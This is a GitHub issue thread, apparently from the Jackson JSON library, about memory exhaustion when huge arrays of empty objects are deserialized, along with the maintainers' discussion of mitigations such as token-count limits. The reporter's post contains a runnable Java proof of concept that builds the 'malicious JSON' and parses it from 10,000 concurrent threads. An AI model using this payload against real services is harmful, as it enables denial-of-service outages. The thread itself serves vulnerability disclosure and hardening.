Shouldn't deserialize objects with all fields that are null

[wushilong]

Hello, Should we not deserialize objects with all fields that are null?

• Jackson supports deserializing {} into an object with all fields as null
• If the deserialized type is a collection, a new object with all fields set to null will be created for each element {} that is deserialized.
• You can construct a large number of strings containing only {} to be processed by Jackson, for example, sending a large POST request like[{},{},{}, ...] to a project based on Spring MVC
• Even though all fields of the object are null, they still occupy a portion of memory on the heap
• If a large number of similar strings are deserialized simultaneously, the application may become unresponsive due to OutOfMemoryError. Some attackers can exploit this feature to create strings containing a large number of {} to carry out DoS(denial-of-service) attacks.

For example, in a scenario where an attacker simulates 10,000 concurrent requests, each carrying less than 1MB of data.
If the server processes these requests simultaneously, it may run out of heap space due to the large number of null value field objects created, ultimately leading to service unavailability.

The corresponding code for simulating this scenario is as follows:

// plz run with java -Xmx4G -Xms1G
package com.codemonk.programer;
 
import java.io.IOException;
import java.time.Duration;
import java.util.List;
import java.util.concurrent.ThreadFactory;
import java.util.stream.IntStream;
 
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.type.CollectionType;
 
public class App {
    private static final ObjectMapper mapper = new ObjectMapper();
    private static final CollectionType valuesType = mapper.getTypeFactory().constructCollectionType(List.class,
            Value.class);
 
    public static class Value {
        String name;
        String phone;
    }
 
    private static String buildMaliciousJson(int braceCount) {
        StringBuilder builder = new StringBuilder("[");
 
        for (int i = 0; i < braceCount; i++) {
            builder.append("{},");
        }
        builder.replace(builder.length() - 1, builder.length(), "]");
 
        return builder.toString();
    }
 
    public static void main(String[] args) throws InterruptedException, IOException {
        // construct a malicious JSON data of less than 1MB. here, it's only 938KB
        // json string's length is 960001, less than 5000000 
        String json = buildMaliciousJson(32 * 100 * 100);
 
        ThreadFactory threadFactory = Thread.ofVirtual().factory();
 
        // simulate 10,000 concurrent requests, each carrying 938KB of malicious data.
        IntStream.range(0, 10_000).forEach(i -> threadFactory.newThread(() -> {
            long threadId = Thread.currentThread().threadId();
            while (true) {
                try {
                    // Here, creating a large number of objects with all fields set to null can lead to OutOfMemoryError.
                    List<Value> values = mapper.readValue(json, valuesType);
                    System.out.println("thread id: " + threadId + ", values count: " + values.size());
                } catch (Exception e) {
                    e.printStackTrace();
                    break;
                }
            }
        }).start());
 
        Thread.sleep((Duration.ofSeconds(120)));
    }
}

I think a feasible approach is to refer to the practice of JsonInclude and add a JsonExclude annotation to exclude all fields that are null.
When all fields are null, consider aborting deserialization or throwing an exception.

For example, like this:

@JsonExclude(JsonExclude.Exclude.ALL_NULL)
public static class Value {
	String name;
	String phone;
}

[JooHyukKim]

For example, in a scenario where an attacker simulates 10,000 concurrent requests, each carrying less than 1MB of data.

This is something server framework should handle, like Spring MVC.
Such DDos case related to high-traffic load should be handled by gateways/throttles/rate-limiters not de/serialization tool.
ObjectMapper itself is thread-safe and is doing the proper job it's responsible for.

[cowtowncoder]

My immediate concern with special handling of { } is this: with heavy enough POJO (say, 20 fields), one can also use partial payloads -- say, {"a":1} -- to achieve essentially the same effect.
So trying to protect memory usage here seems like futile task.

I am not necessarily against adding special handling for empty Objects, mostly because this has been requested for other reasons. But just pointing out that for specifically DoS attacks, protection is probably not very simple.

[kamow937]

The attack cost of {"a":1} is 3.5 times higher than that of {}, which means that the memory usage is reduced by 3.5 times in the case of the same body size. It doesn't feel like a futile task.

[pjfanning]

I suspect that it is better to have a StreamReadConstraints setting that limits the number of total JsonTokens or TreeNodes that we will allow in one input doc. This is more versatile than focusing on just empty structs.

[JooHyukKim]

+1 on what @pjfanning suggested.

[cowtowncoder]

@kamow937 I think it is indeed futile to focus solely on {} like @pjfanning suggests; there's [] vs [1] as well. And with big enough POJOs, 3.5x reduction won't help protect against unwanted excessive memory usage.

[cowtowncoder]

Possible limitations via StreamReadConstraints can definitely constrained. Note, however, that these are document-scoped and cannot really be applied to sub-tree (wrt @cc-yy's suggestion of annotation).
I am bit torn between max-token count vs max-array-element/max-object-properties; I can see why sheer number of tokens might be preferable.

On Collection etc sizes it's probably more up to application code to use bounded Collections (Lists).

On {} angle: one thing that could work there -- not fully transparently, needing some app-dev help -- would be ability to map "Empty Objects" to something like canonical empty instance. Only works for POJOs (or Records) designed as immutable but could make memory usage much less of a concern.